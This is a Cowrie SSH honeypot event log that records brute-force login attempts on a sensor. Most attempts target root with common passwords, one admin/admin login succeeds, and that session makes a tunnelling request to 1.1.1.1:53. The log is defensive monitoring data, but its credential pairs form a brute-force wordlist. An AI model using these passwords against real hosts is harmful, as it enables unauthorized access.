{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:51.981078Z","src_ip":"87.251.64.176","session":"2a35c7535a35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@2025","message":"login attempt [root/Abc@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:52.125963Z","src_ip":"60.165.124.241","session":"8fc80897c0e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:52.271394Z","src_ip":"87.251.64.176","session":"2a35c7535a35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:52.377435Z","session":"2a35c7535a35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:52.475712Z","src_ip":"87.251.64.176","session":"2a35c7535a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:52.574171Z","src_ip":"87.251.64.176","session":"2a35c7535a35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:53.366813Z","src_ip":"60.165.124.241","session":"8fc80897c0e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50704,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd492316d417","protocol":"ssh","message":"New connection: 60.165.124.241:50704 (10.17.0.5:22) [session: bd492316d417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:53.598850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:53.607154Z","src_ip":"60.165.124.241","session":"bd492316d417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:53.845712Z","src_ip":"60.165.124.241","session":"bd492316d417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00t5","message":"login attempt [root/r00t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:54.570401Z","src_ip":"60.165.124.241","session":"bd492316d417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:55.817584Z","src_ip":"60.165.124.241","session":"bd492316d417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53826,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed22c413bc45","protocol":"ssh","message":"New connection: 60.165.124.241:53826 (10.17.0.5:22) [session: ed22c413bc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:56.060229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:56.065071Z","src_ip":"60.165.124.241","session":"ed22c413bc45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:56.311623Z","src_ip":"60.165.124.241","session":"ed22c413bc45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456abc!@","message":"login attempt [root/123456abc!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:57.067358Z","src_ip":"60.165.124.241","session":"ed22c413bc45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:58.317176Z","src_ip":"60.165.124.241","session":"ed22c413bc45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56656,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eeccc00a3a5","protocol":"ssh","message":"New connection: 60.165.124.241:56656 (10.17.0.5:22) [session: 0eeccc00a3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:58.563449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:58.567367Z","src_ip":"60.165.124.241","session":"0eeccc00a3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:58.815278Z","src_ip":"60.165.124.241","session":"0eeccc00a3a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chengdu!@#123","message":"login attempt [root/chengdu!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:59.558994Z","src_ip":"60.165.124.241","session":"0eeccc00a3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:00.812245Z","src_ip":"60.165.124.241","session":"0eeccc00a3a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59758,"dst_ip":"10.17.0.5","dst_port":22,"session":"22950908296f","protocol":"ssh","message":"New connection: 60.165.124.241:59758 (10.17.0.5:22) [session: 22950908296f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:01.079681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:01.084661Z","src_ip":"60.165.124.241","session":"22950908296f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:01.348343Z","src_ip":"60.165.124.241","session":"22950908296f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mind@123","message":"login attempt [root/Mind@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:02.110755Z","src_ip":"60.165.124.241","session":"22950908296f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:03.363201Z","src_ip":"60.165.124.241","session":"22950908296f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34346,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b263e51310","protocol":"ssh","message":"New connection: 60.165.124.241:34346 (10.17.0.5:22) [session: f3b263e51310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:03.587165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:03.592080Z","src_ip":"60.165.124.241","session":"f3b263e51310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:03.840411Z","src_ip":"60.165.124.241","session":"f3b263e51310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12345.","message":"login attempt [root/Aa12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:04.562680Z","src_ip":"60.165.124.241","session":"f3b263e51310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:05.805876Z","src_ip":"60.165.124.241","session":"f3b263e51310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37186,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c6c11d05429","protocol":"ssh","message":"New connection: 60.165.124.241:37186 (10.17.0.5:22) [session: 2c6c11d05429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:06.040222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:06.050179Z","src_ip":"60.165.124.241","session":"2c6c11d05429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:06.291608Z","src_ip":"60.165.124.241","session":"2c6c11d05429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:07.014335Z","src_ip":"60.165.124.241","session":"2c6c11d05429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:08.255897Z","src_ip":"60.165.124.241","session":"2c6c11d05429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40330,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8810499b5f5","protocol":"ssh","message":"New connection: 60.165.124.241:40330 (10.17.0.5:22) [session: f8810499b5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:08.492511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:08.497396Z","src_ip":"60.165.124.241","session":"f8810499b5f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:08.736996Z","src_ip":"60.165.124.241","session":"f8810499b5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2022","message":"login attempt [root/Admin2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:09.461596Z","src_ip":"60.165.124.241","session":"f8810499b5f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:10.704602Z","src_ip":"60.165.124.241","session":"f8810499b5f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42998,"dst_ip":"10.17.0.5","dst_port":22,"session":"43c84760088d","protocol":"ssh","message":"New connection: 60.165.124.241:42998 (10.17.0.5:22) [session: 43c84760088d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:10.940566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:14:10.946235Z","src_ip":"60.165.124.241","session":"43c84760088d","protocol":"ssh"}
